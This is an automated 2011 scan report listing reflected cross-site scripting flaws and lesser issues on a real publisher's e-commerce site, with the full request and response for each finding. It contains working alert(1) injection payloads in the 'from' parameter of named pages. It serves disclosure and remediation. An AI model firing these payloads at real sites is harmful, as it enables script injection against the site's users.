CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Report generated by XSS.CX at Tue Apr 26 17:09:09 CDT 2011.


Public Domain Vulnerability Information, Security Articles, Vulnerability Reports, GHDB, DORK Search

Loading

1. Cross-site scripting (reflected)

1.1. http://ecommerce.randomhouse.com/cart.do [from parameter]

1.2. http://ecommerce.randomhouse.com/cart.do [from parameter]

1.3. http://ecommerce.randomhouse.com/cart.do [from parameter]

1.4. https://ecommerce.randomhouse.com/account.do [from parameter]

1.5. https://ecommerce.randomhouse.com/account.do [from parameter]

1.6. https://ecommerce.randomhouse.com/account.do [from parameter]

1.7. https://ecommerce.randomhouse.com/sign-in.do [from parameter]

1.8. https://ecommerce.randomhouse.com/sign-in.do [from parameter]

1.9. https://ecommerce.randomhouse.com/sign-in.do [from parameter]

2. Cookie without HttpOnly flag set

2.1. http://ecommerce.randomhouse.com/cart.do

2.2. https://ecommerce.randomhouse.com/account.do

3. Password field with autocomplete enabled

3.1. https://ecommerce.randomhouse.com/account.do

3.2. https://ecommerce.randomhouse.com/sign-in.do

4. Cross-domain Referer leakage

4.1. http://ecommerce.randomhouse.com/cart.do

4.2. https://ecommerce.randomhouse.com/account.do

4.3. https://ecommerce.randomhouse.com/sign-in.do

5. Cross-domain script include

5.1. http://ecommerce.randomhouse.com/cart.do

5.2. https://ecommerce.randomhouse.com/account.do

5.3. https://ecommerce.randomhouse.com/sign-in.do

6. Email addresses disclosed

6.1. http://ecommerce.randomhouse.com/store/js/rh/ecom.js

6.2. http://ecommerce.randomhouse.com/store/js/rh/prototype.js

6.3. http://ecommerce.randomhouse.com/store/js/rh/s_code.js

6.4. https://ecommerce.randomhouse.com/store/js/rh/ecom.js

6.5. https://ecommerce.randomhouse.com/store/js/rh/prototype.js

6.6. https://ecommerce.randomhouse.com/store/js/rh/s_code.js

7. Cacheable HTTPS response

7.1. https://ecommerce.randomhouse.com/account.do

7.2. https://ecommerce.randomhouse.com/sign-in.do



1. Cross-site scripting (reflected)  next
There are 9 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://ecommerce.randomhouse.com/cart.do [from parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://ecommerce.randomhouse.com
Path:   /cart.do

Issue detail

The value of the from request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload b9cd4'%3balert(1)//15e475eec0c was submitted in the from parameter. This input was echoed as b9cd4';alert(1)//15e475eec0c in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /cart.do?from=randomhouseb9cd4'%3balert(1)//15e475eec0c HTTP/1.1
Host: ecommerce.randomhouse.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: RES_TRACKINGID=686529694590717; RES_SESSIONID=212207240983843; ResonanceSegment=1; __qca=P0-874375948-1303855562358; s_cc=true; SC_LINKS=%5B%5BB%5D%5D; s_sq=%5B%5BB%5D%5D; s_vi=[CS]v1|26DBA0E0051D3102-60000104C025ACEA[CE]

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 22:06:26 GMT
Server: Apache
Set-Cookie: JSESSIONID=273F58D0D75C926B1A99E5270E47D6D6.ecommerce_wrk1; Path=/
Set-Cookie: rhcartitems=; Domain=.randomhouse.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT
Content-Type: text/html;charset=ISO-8859-1
Content-Length: 19596


<!-- shoppingCart.vm -->


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w
...[SNIP]...
<!--
   // extract 'from' param
   var url = window.location.href;
   var paramStart = url.indexOf("?");
   var fromParam = '';
   if( 'randomhouseb9cd4';alert(1)//15e475eec0c' == '') {
       if( paramStart != -1) {
           var paramString = url.substr(paramStart + 1);
           var tokenStart = paramString.indexOf('from');
           if( tokenStart != -1) {
               var token = paramString.substr(toke
...[SNIP]...

1.2. http://ecommerce.randomhouse.com/cart.do [from parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://ecommerce.randomhouse.com
Path:   /cart.do

Issue detail

The value of the from request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 49283"%3balert(1)//e4e0e74635 was submitted in the from parameter. This input was echoed as 49283";alert(1)//e4e0e74635 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /cart.do?from=randomhouse49283"%3balert(1)//e4e0e74635 HTTP/1.1
Host: ecommerce.randomhouse.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: RES_TRACKINGID=686529694590717; RES_SESSIONID=212207240983843; ResonanceSegment=1; __qca=P0-874375948-1303855562358; s_cc=true; SC_LINKS=%5B%5BB%5D%5D; s_sq=%5B%5BB%5D%5D; s_vi=[CS]v1|26DBA0E0051D3102-60000104C025ACEA[CE]

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 22:06:26 GMT
Server: Apache
Set-Cookie: JSESSIONID=6766FA4ECEF48F7FBF98EEE206AFFBC1.ecommerce_wrk1; Path=/
Set-Cookie: rhcartitems=; Domain=.randomhouse.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT
Content-Type: text/html;charset=ISO-8859-1
Content-Length: 19589


<!-- shoppingCart.vm -->


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w
...[SNIP]...
<!--
var s_account="ranhcorporate,ranhrollup";
var rh_division="Random House Corporate";
var rh_imprint="";
var rh_store="randomhouse49283";alert(1)//e4e0e74635";
//-->
...[SNIP]...

1.3. http://ecommerce.randomhouse.com/cart.do [from parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://ecommerce.randomhouse.com
Path:   /cart.do

Issue detail

The value of the from request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 17962"><script>alert(1)</script>6f8a1d41037 was submitted in the from parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /cart.do?from=randomhouse17962"><script>alert(1)</script>6f8a1d41037 HTTP/1.1
Host: ecommerce.randomhouse.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: RES_TRACKINGID=686529694590717; RES_SESSIONID=212207240983843; ResonanceSegment=1; __qca=P0-874375948-1303855562358; s_cc=true; SC_LINKS=%5B%5BB%5D%5D; s_sq=%5B%5BB%5D%5D; s_vi=[CS]v1|26DBA0E0051D3102-60000104C025ACEA[CE]

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 22:06:25 GMT
Server: Apache
Set-Cookie: JSESSIONID=CF4601245B0C770882DDB50544AA239B.ecommerce_wrk1; Path=/
Set-Cookie: rhcartitems=; Domain=.randomhouse.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT
Content-Type: text/html;charset=ISO-8859-1
Content-Length: 19701


<!-- shoppingCart.vm -->


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w
...[SNIP]...
<a class="rollover" href="http://ecommerce.randomhouse.com/cart.do?from=randomhouse17962"><script>alert(1)</script>6f8a1d41037">
...[SNIP]...

1.4. https://ecommerce.randomhouse.com/account.do [from parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://ecommerce.randomhouse.com
Path:   /account.do

Issue detail

The value of the from request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 8a18b'%3balert(1)//54e01557802 was submitted in the from parameter. This input was echoed as 8a18b';alert(1)//54e01557802 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /account.do?from=randomhouse8a18b'%3balert(1)//54e01557802 HTTP/1.1
Host: ecommerce.randomhouse.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: RES_TRACKINGID=686529694590717; RES_SESSIONID=212207240983843; ResonanceSegment=1; __qca=P0-874375948-1303855562358; s_cc=true; SC_LINKS=%5B%5BB%5D%5D; s_sq=%5B%5BB%5D%5D; s_vi=[CS]v1|26DBA0E0051D3102-60000104C025ACEA[CE]

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 22:06:42 GMT
Server: Apache
Set-Cookie: JSESSIONID=E1AEBB4B90A0A073BB69786EC3949545.ecommerce_wrk1; Path=/; Secure
Content-Type: text/html;charset=ISO-8859-1
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Length: 17083


<!-- signIn.vm -->


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/
...[SNIP]...
<!--
   // extract 'from' param
   var url = window.location.href;
   var paramStart = url.indexOf("?");
   var fromParam = '';
   if( 'randomhouse8a18b';alert(1)//54e01557802' == '') {
       if( paramStart != -1) {
           var paramString = url.substr(paramStart + 1);
           var tokenStart = paramString.indexOf('from');
           if( tokenStart != -1) {
               var token = paramString.substr(toke
...[SNIP]...

1.5. https://ecommerce.randomhouse.com/account.do [from parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://ecommerce.randomhouse.com
Path:   /account.do

Issue detail

The value of the from request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 13d54"><script>alert(1)</script>e958056cf4c was submitted in the from parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /account.do?from=randomhouse13d54"><script>alert(1)</script>e958056cf4c HTTP/1.1
Host: ecommerce.randomhouse.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: RES_TRACKINGID=686529694590717; RES_SESSIONID=212207240983843; ResonanceSegment=1; __qca=P0-874375948-1303855562358; s_cc=true; SC_LINKS=%5B%5BB%5D%5D; s_sq=%5B%5BB%5D%5D; s_vi=[CS]v1|26DBA0E0051D3102-60000104C025ACEA[CE]

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 22:06:39 GMT
Server: Apache
Set-Cookie: JSESSIONID=BB1FFAF98719ADA63DDF7D45FE159378.ecommerce_wrk1; Path=/; Secure
Content-Type: text/html;charset=ISO-8859-1
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Length: 17203


<!-- signIn.vm -->


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/
...[SNIP]...
<a class="rollover" href="http://ecommerce.randomhouse.com/cart.do?from=randomhouse13d54"><script>alert(1)</script>e958056cf4c">
...[SNIP]...

1.6. https://ecommerce.randomhouse.com/account.do [from parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://ecommerce.randomhouse.com
Path:   /account.do

Issue detail

The value of the from request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 584a0"%3balert(1)//4a17c54e7d8 was submitted in the from parameter. This input was echoed as 584a0";alert(1)//4a17c54e7d8 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /account.do?from=randomhouse584a0"%3balert(1)//4a17c54e7d8 HTTP/1.1
Host: ecommerce.randomhouse.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: RES_TRACKINGID=686529694590717; RES_SESSIONID=212207240983843; ResonanceSegment=1; __qca=P0-874375948-1303855562358; s_cc=true; SC_LINKS=%5B%5BB%5D%5D; s_sq=%5B%5BB%5D%5D; s_vi=[CS]v1|26DBA0E0051D3102-60000104C025ACEA[CE]

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 22:06:40 GMT
Server: Apache
Set-Cookie: JSESSIONID=83BECC0B608D70FD1431DA4C08A24D6A.ecommerce_wrk1; Path=/; Secure
Content-Type: text/html;charset=ISO-8859-1
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Length: 17083


<!-- signIn.vm -->


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/
...[SNIP]...
<!--
var s_account="ranhcorporate,ranhrollup";
var rh_division="Random House Corporate";
var rh_imprint="";
var rh_store="randomhouse584a0";alert(1)//4a17c54e7d8";
//-->
...[SNIP]...

1.7. https://ecommerce.randomhouse.com/sign-in.do [from parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://ecommerce.randomhouse.com
Path:   /sign-in.do

Issue detail

The value of the from request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d3ec7"><script>alert(1)</script>c88b024cdae was submitted in the from parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sign-in.do?from=randomhoused3ec7"><script>alert(1)</script>c88b024cdae HTTP/1.1
Host: ecommerce.randomhouse.com
Connection: keep-alive
Referer: https://ecommerce.randomhouse.com/account.do?from=randomhouse
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: RES_TRACKINGID=686529694590717; __qca=P0-874375948-1303855562358; s_vi=[CS]v1|26DBA0E0051D3102-60000104C025ACEA[CE]; JSESSIONID=388CC68FD235E0B3FC2D6F4CD6E761C9.ecommerce_wrk1; SC_LINKS=%5B%5BB%5D%5D; CP=null*; mbox=check#true#1303855669|session#1303855598284-166145#1303857469|PC#1303855598284-166145#1366927609; s_cc=true; RES_SESSIONID=212207240983843; ResonanceSegment=1; s_sq=ranhcorporate%2Cranhrollup%3D%2526pid%253Dsignin%2526pidt%253D1%2526oid%253Dhttps%25253A//ecommerce.randomhouse.com/sign-in.do%25253Ffrom%25253Drandomhouse%2526ot%253DA

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 22:07:04 GMT
Server: Apache
Content-Type: text/html;charset=ISO-8859-1
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Length: 17195


<!-- signIn.vm -->


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/
...[SNIP]...
<a class="rollover" href="http://ecommerce.randomhouse.com/cart.do?from=randomhoused3ec7"><script>alert(1)</script>c88b024cdae">
...[SNIP]...

1.8. https://ecommerce.randomhouse.com/sign-in.do [from parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://ecommerce.randomhouse.com
Path:   /sign-in.do

Issue detail

The value of the from request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload a8336"%3balert(1)//1decb9d5a21 was submitted in the from parameter. This input was echoed as a8336";alert(1)//1decb9d5a21 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /sign-in.do?from=randomhousea8336"%3balert(1)//1decb9d5a21 HTTP/1.1
Host: ecommerce.randomhouse.com
Connection: keep-alive
Referer: https://ecommerce.randomhouse.com/account.do?from=randomhouse
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: RES_TRACKINGID=686529694590717; __qca=P0-874375948-1303855562358; s_vi=[CS]v1|26DBA0E0051D3102-60000104C025ACEA[CE]; JSESSIONID=388CC68FD235E0B3FC2D6F4CD6E761C9.ecommerce_wrk1; SC_LINKS=%5B%5BB%5D%5D; CP=null*; mbox=check#true#1303855669|session#1303855598284-166145#1303857469|PC#1303855598284-166145#1366927609; s_cc=true; RES_SESSIONID=212207240983843; ResonanceSegment=1; s_sq=ranhcorporate%2Cranhrollup%3D%2526pid%253Dsignin%2526pidt%253D1%2526oid%253Dhttps%25253A//ecommerce.randomhouse.com/sign-in.do%25253Ffrom%25253Drandomhouse%2526ot%253DA

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 22:07:07 GMT
Server: Apache
Content-Type: text/html;charset=ISO-8859-1
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Length: 17075


<!-- signIn.vm -->


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/
...[SNIP]...
<!--
var s_account="ranhcorporate,ranhrollup";
var rh_division="Random House Corporate";
var rh_imprint="";
var rh_store="randomhousea8336";alert(1)//1decb9d5a21";
//-->
...[SNIP]...

1.9. https://ecommerce.randomhouse.com/sign-in.do [from parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://ecommerce.randomhouse.com
Path:   /sign-in.do

Issue detail

The value of the from request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 1e67a'%3balert(1)//c85d7540c7f was submitted in the from parameter. This input was echoed as 1e67a';alert(1)//c85d7540c7f in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /sign-in.do?from=randomhouse1e67a'%3balert(1)//c85d7540c7f HTTP/1.1
Host: ecommerce.randomhouse.com
Connection: keep-alive
Referer: https://ecommerce.randomhouse.com/account.do?from=randomhouse
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: RES_TRACKINGID=686529694590717; __qca=P0-874375948-1303855562358; s_vi=[CS]v1|26DBA0E0051D3102-60000104C025ACEA[CE]; JSESSIONID=388CC68FD235E0B3FC2D6F4CD6E761C9.ecommerce_wrk1; SC_LINKS=%5B%5BB%5D%5D; CP=null*; mbox=check#true#1303855669|session#1303855598284-166145#1303857469|PC#1303855598284-166145#1366927609; s_cc=true; RES_SESSIONID=212207240983843; ResonanceSegment=1; s_sq=ranhcorporate%2Cranhrollup%3D%2526pid%253Dsignin%2526pidt%253D1%2526oid%253Dhttps%25253A//ecommerce.randomhouse.com/sign-in.do%25253Ffrom%25253Drandomhouse%2526ot%253DA

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 22:07:08 GMT
Server: Apache
Content-Type: text/html;charset=ISO-8859-1
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Length: 17075


<!-- signIn.vm -->


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/
...[SNIP]...
<!--
   // extract 'from' param
   var url = window.location.href;
   var paramStart = url.indexOf("?");
   var fromParam = '';
   if( 'randomhouse1e67a';alert(1)//c85d7540c7f' == '') {
       if( paramStart != -1) {
           var paramString = url.substr(paramStart + 1);
           var tokenStart = paramString.indexOf('from');
           if( tokenStart != -1) {
               var token = paramString.substr(toke
...[SNIP]...

2. Cookie without HttpOnly flag set  previous  next
There are 2 instances of this issue:

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.



2.1. http://ecommerce.randomhouse.com/cart.do  previous  next

Summary

Severity:   Low
Confidence:   Firm
Host:   http://ecommerce.randomhouse.com
Path:   /cart.do

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /cart.do?from=randomhouse HTTP/1.1
Host: ecommerce.randomhouse.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: RES_TRACKINGID=686529694590717; RES_SESSIONID=212207240983843; ResonanceSegment=1; __qca=P0-874375948-1303855562358; s_cc=true; SC_LINKS=%5B%5BB%5D%5D; s_sq=%5B%5BB%5D%5D; s_vi=[CS]v1|26DBA0E0051D3102-60000104C025ACEA[CE]

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 22:06:22 GMT
Server: Apache
Set-Cookie: JSESSIONID=99AF3E637ECB1D69552DA7E98D58C60F.ecommerce_wrk1; Path=/
Set-Cookie: rhcartitems=; Domain=.randomhouse.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT
Content-Type: text/html;charset=ISO-8859-1
Content-Length: 19400


<!-- shoppingCart.vm -->


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w
...[SNIP]...

2.2. https://ecommerce.randomhouse.com/account.do  previous  next

Summary

Severity:   Low
Confidence:   Firm
Host:   https://ecommerce.randomhouse.com
Path:   /account.do

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /account.do?from=randomhouse HTTP/1.1
Host: ecommerce.randomhouse.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: RES_TRACKINGID=686529694590717; RES_SESSIONID=212207240983843; ResonanceSegment=1; __qca=P0-874375948-1303855562358; s_cc=true; SC_LINKS=%5B%5BB%5D%5D; s_sq=%5B%5BB%5D%5D; s_vi=[CS]v1|26DBA0E0051D3102-60000104C025ACEA[CE]

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 22:06:29 GMT
Server: Apache
Set-Cookie: JSESSIONID=30BCBB9743BBB87336047B037BF512BF.ecommerce_wrk1; Path=/; Secure
Content-Type: text/html;charset=ISO-8859-1
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Length: 16859


<!-- signIn.vm -->


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/
...[SNIP]...

3. Password field with autocomplete enabled  previous  next
There are 2 instances of this issue:

Issue background

Most browsers have a facility to remember user credentials that are entered into HTML forms. This function can be configured by the user and also by applications which employ user credentials. If the function is enabled, then credentials entered by the user are stored on their local computer and retrieved by the browser on future visits to the same application.

The stored credentials can be captured by an attacker who gains access to the computer, either locally or through some remote compromise. Further, methods have existed whereby a malicious web site can retrieve the stored credentials for other applications, by exploiting browser vulnerabilities or through application-level cross-domain attacks.

Issue remediation

To prevent browsers from storing credentials entered into HTML forms, you should include the attribute autocomplete="off" within the FORM tag (to protect all form fields) or within the relevant INPUT tags (to protect specific individual fields).


3.1. https://ecommerce.randomhouse.com/account.do  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   https://ecommerce.randomhouse.com
Path:   /account.do

Issue detail

